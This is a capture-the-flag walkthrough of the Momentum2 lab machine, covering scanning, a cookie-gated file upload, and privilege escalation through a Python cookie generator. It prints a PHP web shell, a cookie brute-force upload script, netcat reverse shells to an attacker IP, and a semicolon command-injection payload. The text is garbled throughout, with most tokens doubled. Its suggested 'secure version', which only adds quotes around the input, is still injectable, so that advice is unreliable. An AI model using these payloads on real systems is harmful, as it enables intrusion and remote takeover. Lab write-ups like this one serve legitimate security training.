
Momentum2  Alienum



Port Scan

┌──┌──((alienum㉿kalialienum㉿kali))--[[~~]]  

└─$ nmap └─$ nmap 10.010.0.2.251                                                                                                                                .2.251                                                                                                                                22 ⚙ ⚙  

Starting Nmap Starting Nmap 7.917.91  (( https://nmap.org  https://nmap.org )) at  at 20212021-05-28 00:21 EEST-05-28 00:21 EEST  

Nmap scan report Nmap scan report forfor  10.010.0.2.251 .2.251 ((10.010.0.2.251.2.251))  

Host is up Host is up ((00.0016s latency.0016s latency))..  

Not shown: Not shown: 998998 closed ports closed ports  

PORT   STATE SERVICEPORT   STATE SERVICE  

2222/tcp /tcp openopen    sshssh  

8080/tcp /tcp openopen  http  http  



Directory Scan

┌──┌──((alienum㉿kalialienum㉿kali))--[[~~]]  

└─$ gobuster └─$ gobuster dirdir -k -u http://10.0.2.251/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,.txt,.php.bak,.html -k -u http://10.0.2.251/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,.txt,.php.bak,.html  

==============================================================================================================================  

Gobuster v3.1.0Gobuster v3.1.0  

by OJ Reeves by OJ Reeves ((@TheColonial@TheColonial))  && Christian Mehlmauer  Christian Mehlmauer ((@firefart@firefart))  

==============================================================================================================================  

[[++]] Url:                     http://10.0.2.251/ Url:                     http://10.0.2.251/  

[[++]] Method:                  GET Method:                  GET  

[[++]] Threads:                  Threads:                 1010  

[[++]] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt  

[[++]] Negative Status codes:    Negative Status codes:   404404  

[[++]] User Agent:              gobuster/3.1.0 User Agent:              gobuster/3.1.0  

[[++]] Extensions:              html,php,txt,php.bak Extensions:              html,php,txt,php.bak  

[[++]] Timeout:                 10s Timeout:                 10s  

==============================================================================================================================  

20212021/05/28 00:19:45 Starting gobuster /05/28 00:19:45 Starting gobuster inin directory enumeration mode directory enumeration mode  

==============================================================================================================================  

/index.html           /index.html           ((Status: Status: 200200))  [[Size: Size: 14281428]]  

/img                  /img                  ((Status: Status: 301301))  [[Size: Size: 306306]]  [[---->> http://10.0.2.251/img/ http://10.0.2.251/img/]]  

/css                  /css                  ((Status: Status: 301301))  [[Size: Size: 306306]]  [[---->> http://10.0.2.251/css/ http://10.0.2.251/css/]]  

/ajax.php.bak         /ajax.php.bak         ((Status: Status: 200200))  [[Size: Size: 357357]]                                                            

/ajax.php             /ajax.php             ((Status: Status: 200200))  [[Size: Size: 00]]                                                                

/manual               /manual               ((Status: Status: 301301))  [[Size: Size: 309309]]  [[---->> http://10.0.2.251/manual/ http://10.0.2.251/manual/]]  

/js                   /js                   ((Status: Status: 301301))  [[Size: Size: 305305]]  [[---->> http://10.0.2.251/js/ http://10.0.2.251/js/]]          

/dashboard.html       /dashboard.html       ((Status: Status: 200200))  [[Size: Size: 513513]]                                                                  

/owls                 /owls                 ((Status: Status: 301301))  [[Size: Size: 307307]]  [[---->> http://10.0.2.251/owls/ http://10.0.2.251/owls/]]      

Progress: Progress: 147545147545 /  / 11028051102805  ((13.3813.38%%))                                           ^Z                                           ^Z  



Enumeration

path : http://10.0.2.251/js/main.js
name : main.js
explain : file upload using javascript ajax request
method : POST
request to : ajax.php

functionfunction  uploadFileuploadFile(())  {{  

        varvar files  files ==  documentdocument..getElementByIdgetElementById(("file""file"))..filesfiles;;  

    

        ifif((filesfiles..lengthlength  >>  00  )){{  

    

              varvar formData  formData ==  newnew  FormDataFormData(());;  

       formData       formData..appendappend(("file""file",, files files[[00]]));;  

              varvar xhttp  xhttp ==  newnew  XMLHttpRequestXMLHttpRequest(());;  

              // Set POST method and ajax file path// Set POST method and ajax file path  

       xhttp       xhttp..openopen(("POST""POST",,  "ajax.php""ajax.php",,  truetrue));;  

              // call on request changes state// call on request changes state  

       xhttp       xhttp..onreadystatechangeonreadystatechange  ==  functionfunction(())  {{  

                    ifif  ((thisthis..readyStatereadyState  ====  44  &&&&  thisthis..statusstatus  ====  200200))  {{  

    

                        varvar response  response ==  thisthis..responseTextresponseText;;  

                        ifif((response response ====  11)){{  

                              alertalert(("Upload successfully.""Upload successfully."));;  

                        }}elseelse{{  

                              alertalert(("File not uploaded.""File not uploaded."));;  

                        }}  

                    }}  

              }};;

              // Send request with data// Send request with data  

       xhttp       xhttp..sendsend((formDataformData));;  

        }}elseelse{{  

              alertalert(("Please select a file""Please select a file"));;  

        }}  

  }}  

http://10.0.2.251/js/main.js


 Read the ajax.php.bak

our target : upload php malicious file
need 1  cookie with name admin and value &G6u@B6uDXMq&Ms
need 2  POST parameter with name secure and value val1d
missing : one Upper Case letter at the end of the cookie
we know : success upload returns 1

        //The boss told me to add one more Upper Case letter at the end of the cookie//The boss told me to add one more Upper Case letter at the end of the cookie  

      ifif((issetisset(($_COOKIE$_COOKIE[['admin''admin']]))  &&&&  $_COOKIE$_COOKIE[['admin''admin']]  ====  '&G6u@B6uDXMq&Ms''&G6u@B6uDXMq&Ms')){{  

              //[+] Add if $_POST['secure'] == 'val1d'//[+] Add if $_POST['secure'] == 'val1d'  

                $valid_ext$valid_ext  ==  arrayarray(("pdf""pdf",,"php""php",,"txt""txt"));;  

      }}  

      elseelse{{  

                $valid_ext$valid_ext  ==  arrayarray(("txt""txt"));;  

      }}  

      // Remember success upload returns 1 // Remember success upload returns 1   



Build a script

My php file to upload
name : cmd.php

<?php<?php  systemsystem(($_GET$_GET[['cmd''cmd']]));;?>?>  

Bash Script

name : momentum2.sh

#!/bin/bash#!/bin/bash  

SOURCESSOURCES=="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z""A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"  

DESTINATIONSDESTINATIONS==""""  

forfor  srcsrc  inin  $SOURCES$SOURCES  

dodo  

        responseresponse==$($(  curlcurl -k -F  -k -F "file=@./cmd.php""file=@./cmd.php" -F  -F "secure=val1d""secure=val1d" -H  -H "Cookie: admin=&G6u@B6uDXMq&Ms"Cookie: admin=&G6u@B6uDXMq&Ms${src}${src}"" http://10.0.2.251/ajax.php http://10.0.2.251/ajax.php))  

        echoecho  "Code : "Code : ${response}${response}, Letter , Letter ${src}${src}""  

donedone  



run the script

View with letter was the valid

Check if the file was uploaded successfully
path : http://10.0.2.251/owls/

http://10.0.2.251/owls/


RCE & Reverse Shell

Target machine

ncnc -e /bin/bash  -e /bin/bash 10.010.0.2.15 .2.15 55555555  

Listener

ncnc -lvp  -lvp 55555555  



User | Guess

www-data@momentum2:~$ www-data@momentum2:~$ lsls  

lsls  

athena  team-tasksathena  team-tasks  

www-data@momentum2:~$ www-data@momentum2:~$ cdcd athena athena  

cdcd athena athena  

www-data@momentum2:~/athena$ www-data@momentum2:~/athena$ lsls  

lsls  

password-reminder.txt  user.txtpassword-reminder.txt  user.txt  

www-data@momentum2:~/athena$ www-data@momentum2:~/athena$ catcat password-reminder.txt password-reminder.txt  

catcat password-reminder.txt password-reminder.txt  

password password :: myvulnerableapp myvulnerableapp[[AsteriskAsterisk]]  

www-data@momentum2:~/athena$ www-data@momentum2:~/athena$ pwdpwd  

pwdpwd

/home/athena/home/athena  

www-data@momentum2:~/athena$ www-data@momentum2:~/athena$   

password reminder → myvulnerableapp[Asterisk]
ssh credentials → athena : myvulnerableapp*



Root

sudo

read the script
name : cookie-gen.py
path : /home/team-tasks/

importimport random random  

importimport os os  

importimport subprocess subprocess  

printprint(('~ Random Cookie Generation ~''~ Random Cookie Generation ~'))  

printprint(('[!] for security reasons we keep logs about cookie seeds.''[!] for security reasons we keep logs about cookie seeds.'))  

chars chars ==  '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh''@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'  

seed seed ==  inputinput(("Enter the seed : ""Enter the seed : "))  

randomrandom..seed seed == seed seed  

cookie cookie ==  ''''  

forfor c  c inin  rangerange((2020))::  

    cookie     cookie +=+= random random..choicechoice((charschars))  

printprint((cookiecookie))  

cmd cmd ==  "echo %s >> log.txt""echo %s >> log.txt"  %% seed seed  

subprocesssubprocess..PopenPopen((cmdcmd,, shell shell==TrueTrue))



The vulnerable part is :

cmd cmd ==  "echo %s >> log.txt""echo %s >> log.txt"  %% seed seed  

subprocesssubprocess..PopenPopen((cmdcmd,, shell shell==TrueTrue))

Command Injection

The secure version should be like :

cmd cmd ==  "echo '%s' >> log.txt""echo '%s' >> log.txt"  %% seed seed  

subprocesssubprocess..PopenPopen((cmdcmd,, shell shell==TrueTrue))

command

;;ncnc -e /bin/bash  -e /bin/bash 10.010.0.2.15 .2.15 44444444  

listener

ncnc -lvp  -lvp 44444444  

Rooted


